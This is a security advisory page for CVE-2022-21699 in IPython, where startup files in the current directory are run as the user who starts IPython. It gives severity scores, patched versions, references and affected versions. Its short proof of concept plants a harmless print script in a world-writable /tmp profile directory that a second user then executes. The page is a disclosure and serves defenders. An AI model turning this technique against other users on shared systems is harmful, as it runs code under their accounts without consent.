GHSA-pq7m-3gw7-gq5x
Suggest an improvement- Source
- https://github.com/advisories/GHSA-pq7m-3gw7-gq5x
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-pq7m-3gw7-gq5x/GHSA-pq7m-3gw7-gq5x.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-pq7m-3gw7-gq5x
- Aliases
- Published
- 2022-01-21T18:55:30Z
- Modified
- 2024-09-27T18:52:53.914048Z
- Severity
-
- 8.2 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H CVSS Calculator
- 8.5 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P CVSS Calculator
- Summary
- Execution with Unnecessary Privileges in ipython
- Details
-
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.pyUser2:
cd /tmp ipythonUser2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secretsPatched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
- Database specific
{ "nvd_published_at": "2022-01-19T22:15:00Z", "cwe_ids": [ "CWE-250", "CWE-269", "CWE-279" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2022-01-19T21:26:17Z" }- References
-
- https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x
- https://nvd.nist.gov/vuln/detail/CVE-2022-21699
- https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668
- https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b
- https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d
- https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea
- https://github.com/ipython/ipython
- https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml
- https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699
- https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
Affected packages
PyPI / ipython
Package
- Name
- ipython
- View open source insights on deps.dev
- Purl
- pkg:pypi/ipython
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0Unknown introduced version / All previous versions are affectedFixed5.11
Affected versions
0.*
0.7.1.fix1
0.7.4.svn.r2010
0.6.4
0.6.5
0.6.6
0.6.7
0.6.8
0.6.9
0.6.10
0.6.11
0.6.12
0.6.13
0.6.14
0.6.15
0.7.0
0.7.1
0.7.2
0.7.3
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.9
0.9.1
0.10
0.10.1
0.10.2
0.11
0.12
0.12.1
0.13
0.13.1
0.13.2
1.*
1.0.0
1.1.0
1.2.0
1.2.1
2.*
2.0.0
2.1.0
2.2.0
2.3.0
2.3.1
2.4.0
2.4.1
3.*
3.0.0
3.1.0
3.2.0
3.2.1
3.2.2
3.2.3
4.*
4.0.0-b1
4.0.0b1
4.0.0
4.0.1
4.0.2
4.0.3
4.1.0rc1
4.1.0rc2
4.1.0
4.1.1
4.1.2
4.2.0
4.2.1
5.*
5.0.0b1
5.0.0b2
5.0.0b3
5.0.0b4
5.0.0rc1
5.0.0
5.1.0
5.2.0
5.2.1
5.2.2
5.3.0
5.4.0
5.4.1
5.5.0
5.6.0
5.7.0
5.8.0
5.9.0
5.10.0
PyPI / ipython
Package
- Name
- ipython
- View open source insights on deps.dev
- Purl
- pkg:pypi/ipython
PyPI / ipython
Package
- Name
- ipython
- View open source insights on deps.dev
- Purl
- pkg:pypi/ipython
PyPI / ipython
Package
- Name
- ipython
- View open source insights on deps.dev
- Purl
- pkg:pypi/ipython